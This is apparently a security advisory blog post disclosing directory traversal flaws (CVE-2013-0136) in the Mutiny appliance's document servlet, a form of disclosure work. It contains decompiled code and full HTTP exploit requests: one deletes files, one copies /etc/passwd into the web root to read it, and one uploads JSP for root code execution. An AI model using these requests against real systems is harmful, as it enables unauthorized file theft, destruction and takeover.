Last updated at Mon, 28 Aug 2017 15:52:21 GMT

Back in March we published an exploit module for Mutiny Remote Code Execution. Mutiny "is a self-contained appliance for monitoring network-attached devices such as servers, switches, routers and printers. It has been designed to be simple to use, being aimed at the person who is more interested in the actual data gathered rather than the science of gathering the data." (Source: Mutiny User Guide). That module abused CVE-2012-3001, a command injection issue in the frontend application which allowed any authenticated user, with access to the admin interface, to execute os commands with root privileges. While developing that exploit, we took a look at the last version of the Mutiny FrontEnd available at that time (5.0-1.07) and found others issues, grouped under CVE-2013-0136, which have the plus of being exploitable from any authenticated role.

Vulnerabilities Summary

The Mutiny Appliance provides a Web Frontend, where the users can configure the system and monitor the data collected by the appliance. The Frontend provides four access roles: “Super Admin”, “Administrator”, “Engineer” and “View only”. All the roles allow the user to access to the “Documents” section, where multiple weaknesses have been detected allowing

  • To delete any file from the remote file system with root privileges.
  • To copy and move files in the remote file system with root privileges, allowing also to download/retrieve these files.
  • To upload arbitrary files to the remote file system and ultimately execute arbitrary code with root privileges.

Disclosure Timeline

Date Description
2013-03-08 Initial discovery by Juan Vazquez, Metasploit Researcher
2013-03-09 Draft advisory and Metasploit module written
2013-03-11 Initial disclosure to the vendor, Mutiny Technology
2013-03-12 Follow-up with vendor
2013-03-27 Disclosure to CERT/CC2013-05-14Version 5.0-1.11 tested and not vulnerable to the disclosed exploitation (1)
2013-05-15 Public Disclosure
2013-05-15 Metasploit exploit module published

(1) Prior to public disclosure the last version available has been tested and the disclosed exploit techniques don't work anymore. The tested version has been "5.0-1.11 (EAGLe) - (02-05-13)". Since the vendor didn't warn us about the patch neither asked us to review the patch we can't assure the current patch is 100% confident and secure, neither have details about revisions between 5.0.1-07 and 5.0.1-11 which could be vulnerable. We encourage you to use the current Metasploit modules in order to test your Mutiny installation for the disclosed vulnerabilities.

Technical Analysis

The Web Frontend of Mutiny is provided in part by a Java Web Application. This frontend provides a "Documents" section for authenticated users for any role:

The Documents functions are in part provided by a servlet named "EditDocument". This servlets provides several "Documents" functions such as upload, copy, move and delete documents:

protected void doPost(HttpServletRequest
httpservletrequest, HttpServletResponse httpservletresponse)
throws ServletException, IOException
.   .
s = httpservletrequest.getParameter("operation");
if(ServletFileUpload.isMultipartContent(httpservletrequest))
s = "UPLOAD";
.   .   .
if(!s.equals("NEW")) goto _L2; else goto _L1
.   .   .
if(!s.equals("RENAME")) goto _L5; else goto _L4
.   .   .
if(!s.equals("DELETE")) goto _L7; else goto _L6
.   .   .
if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8
  • The UPLOAD operation can be abused via a Directory Traversal vulnerability in the “uploadPath” parameter  to upload arbitrary file and contents to the remote filesystem with root privileges:
if(s.equals("UPLOAD"))
{
    ServletFileUpload
    servletfileupload = new ServletFileUpload(new DiskFileItemFactory());
    List list = null;
    try   {
        list = servletfileupload.parseRequest(httpservletrequest);
        }
    catch(FileUploadException fileuploadexception)   {
    fileuploadexception.printStackTrace();
        }
    String s6 = null;
    FileItem fileitem = null;
    Iterator iterator = list.iterator();
    do   {
    if(!iterator.hasNext())
    break;   FileItem fileitem1 = (FileItem)iterator.next();
    if(fileitem1.isFormField() &&
    fileitem1.getFieldName().equals("uploadPath"))
    s6 = fileitem1.getString(); // User controlled
    else
    if(!fileitem1.isFormField() && fileitem1.getFieldName().equals("uploadFile"))
    fileitem = fileitem1;
    // User controlled
    }
    while(true);
    if(s6.length() == 0)
    {
    System.out.println("Error: uploadPath not set.");
    s6 = "/documents";
    }
    if(fileitem == null)
    {
    System.out.println("Error: uploadFile not set.");
    }
    else
    {
    File file5 = new File(DocumentUtils.root, s6);
    // Directory Traversal
    File file7 = new File(file5, fileitem.getName());
    file7.getParentFile().mkdirs();
    file7 = DocumentUtils.getUniqueFile(file7, false);
    file7.createNewFile();
    try
    {
    fileitem.write(file7);
    // Write file
    if(file7.exists() && file7.length() == fileitem.getSize())
    flag = true;
    if(debug)
    System.out.println((new StringBuilder()).append(s).append(": ").append(file7.getPath()).toString());
    }
    catch(Exception exception)
    {
    exception.printStackTrace();
    }
  }
}
  • The DELETE operation is also affected by a directory traversal vulnerability in the “paths[]” parameter, which allows to delete arbitrary files with root privileges:
_L5:
if(!s.equals("DELETE")) goto _L7; else goto _L6 _L6:
String as1[] = httpservletrequest.getParameterValues("paths[]");
// User controlled
String as2[] = as1;
int j = as2.length;
for(int k = 0; k < j; k )
{
String s7 = as2[k];
File file6 = new File(DocumentUtils.root, s7);
// Directory Traversal
if(!isValid(file6))
return;
if(file6.isDirectory())
FileUtils.deleteDirectory(file6);
// Delete directory
else
flag = file6.delete();
// Delete file
if(debug)
System.out.println((new StringBuilder()).append("DELETE: ").append(file6.getPath()).toString());
} 
  • Also the CUT and COPY operation is also affected by directory traversal vulnerabilities in the “paths[]” and “newPath” parameters, which allows to copy and move files around the remote file system with root privileges:
if(!s.equals("CUT") && !s.equals("COPY")) goto _L9; else goto _L8 _L8:
File file2;
String as3[];
String s4 = httpservletrequest.getParameter("newPath");
file2 = new File(DocumentUtils.root, s4);
// Directory Traversal in newPath
as3 = httpservletrequest.getParameterValues("paths[]");
if(as3 == null) goto _L3; else goto _L10 _L10:
String as4[];
int l;
int i1;
as4 = as3;
l = as4.length;
i1 = 0; _L11:
File file8;
File file9;
FileInputStream fileinputstream;
FileOutputStream fileoutputstream;
if(i1 >= l)
break;
/* Loop/switch isn't completed */
String s8 = as4[i1];
file8 = new File(DocumentUtils.root, s8);
// Directory traversal in paths[]
if(!isValid(file8))
return;
file9 = new File(file2, file8.getName());
// Directory traversal in newPath
file9 = DocumentUtils.getUniqueFile(file9, file8.isDirectory());
if(debug)
System.out.println((new StringBuilder()).append(s).append(": ").append(file9.getPath()).toString());
file9.getParentFile().mkdirs();
if(s.equals("CUT"))
{ 
flag = file8.renameTo(file9);
// CUT operation affected by directory traversals
break MISSING_BLOCK_LABEL_881;
}
if(!s.equals("COPY"))
break MISSING_BLOCK_LABEL_881;
if(!file9.exists())
file9.createNewFile();
fileinputstream = null;
fileoutputstream = null;
fileinputstream = new FileInputStream(file8);
// COPY operationaffected by directory traversals
fileoutputstream = new FileOutputStream(file9);
byte abyte0[] = new byte[4096];
int j1;
while((j1 = fileinputstream.read(abyte0)) > 0)
fileoutputstream.write(abyte0, 0, j1);
flag = true;
fileinputstream.close();
fileoutputstream.close();
break MISSING_BLOCK_LABEL_881;
Exception exception1;
exception1;
System.err.println(exception1.getMessage());
fileinputstream.close();
fileoutputstream.close();
break MISSING_BLOCK_LABEL_881;
Exception exception2;
exception2;
fileinputstream.close();
fileoutputstream.close();
throw exception2;
i1 ;
if(true) goto _L11; else goto _L3

Exploitation

After examining the “doPost()” function from the “EditDocument” servlet,  requests to abuse these functions have been built.

DELETE operation

The next request allows deleting an arbitrary file from the filesystem:

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 76

Accept: /

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

operation=DELETE&paths[]=../../../../test.msf

In this case the “/test.msf” will be deleted in the remote file system. The 4 level traversal is due to “DocumentUtils.root” by default pointing to “/var/MUTINY/upload/documents” in the Linux based appliance.

The response to the request informs if the file deletion has been successful:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 02:16:18 GMT

{"success":true}

COPY operation

The copy operation allows copying arbitrary files in the remote file system with root privileges. By copying arbitrary files to the default web root in the appliance it's possible to retrieve arbitrary files.

The next request allows copying the “/etc/passwd” file to the web root for mobile devices, by default located at “/usr/jakarta/tomcat/webapps/ROOT/m” in the Mutiny Linux based appliance:

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 111

Accept: /

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: application/x-www-form-urlencoded

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=14CE95F1ED56321B4B226DF669D691C0; JSESSIONIDSSO=FA98603965548C3FB1F67BC5121A75DC

Connection: keep-alive

Proxy-Connection: keep-alive

operation=COPY&paths[]=../../../../etc/passwd.txt&newPath=../../../../usr/jakarta/tomcat/webapps/ROOT/m/

The response to the request informs if the file deletion has been successful:

HTTP/1.1 200 OK

Server: Apache-Coyote/1.1

X-UA-Compatible: IE=10

Content-Type: application/json;charset=UTF-8

Content-Length: 16

Date: Fri, 08 Mar 2013 04:11:17 GMT

{"success":true}

By accessing to http://appliance/m/passwd is possible to retrieve the remote file:

UPLOAD operation

The upload operation allows uploading an arbitrary file to the file system with root privileges. By uploading a JSP file to the “/usr/jakarta/tomcat/webapps/ROOT/m” default location, arbitrary Java can be executed with root privileges by later invoking the JSP file via the web interface. The next request allows uploading JSP code to the "/usr/jakarta/tomcat/webapps/ROOT/m/msf.jsp” location:

POST /interface/EditDocument HTTP/1.1

Host: 192.168.1.177

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit/536.26.17 (KHTML, like Gecko) Version/6.0.2 Safari/536.26.17

Content-Length: 491

Accept: /

Origin: http://192.168.1.177

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryPxNcR2XfK8d5gMeU

Referer: http://192.168.1.177/interface/documents.jsp

Accept-Language: en-us

Accept-Encoding: gzip, deflate

Cookie: JSESSIONID=611F495538F214B351A860D32273DB89; JSESSIONIDSSO=EF00467D61F67EA2CE86010762914E4D

Connection: keep-alive

Proxy-Connection: keep-alive

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadFile"; filename="msf.jsp"

Content-Type: application/octet-stream

Metasploit Test Page

<%="Metasploit Test" %>

------WebKitFormBoundaryPxNcR2XfK8d5gMeU

Content-Disposition: form-data; name="uploadPath"

../../../../usr/jakarta/tomcat/webapps/ROOT/m

------WebKitFormBoundaryPxNcR2XfK8d5gMeU—

The response to the request informs if the file upload has been successful:

By accessing to http://appliance/m/msf.jsp is possible to execute the uploaded JSP code:

Metasploit modules

In order to assist vulnerability testing two modules for the Metasploit framework have been developed.

mutiny_frontend_read_delete

The “mutiny_frontend_read_delete” is an auxiliary module which abuses the DELETE and COPY operations to retrieve or delete arbitrary files from the remote system:

  • Reading /etc/passwd

  • Deleting remote files

mutiny_frontend_upload

The "mutiny_frontend_upload" is an exploit module which abuses the UPLOAD operation to upload an arbitrary JSP code and an arbitrary payload embedded in an ELF file. The last one is executed through the invocation of the JSP stager:

Want to try this out for yourself? Get your free Metasploit download now or update your existing installation, and let us know if you have any further questions or comments.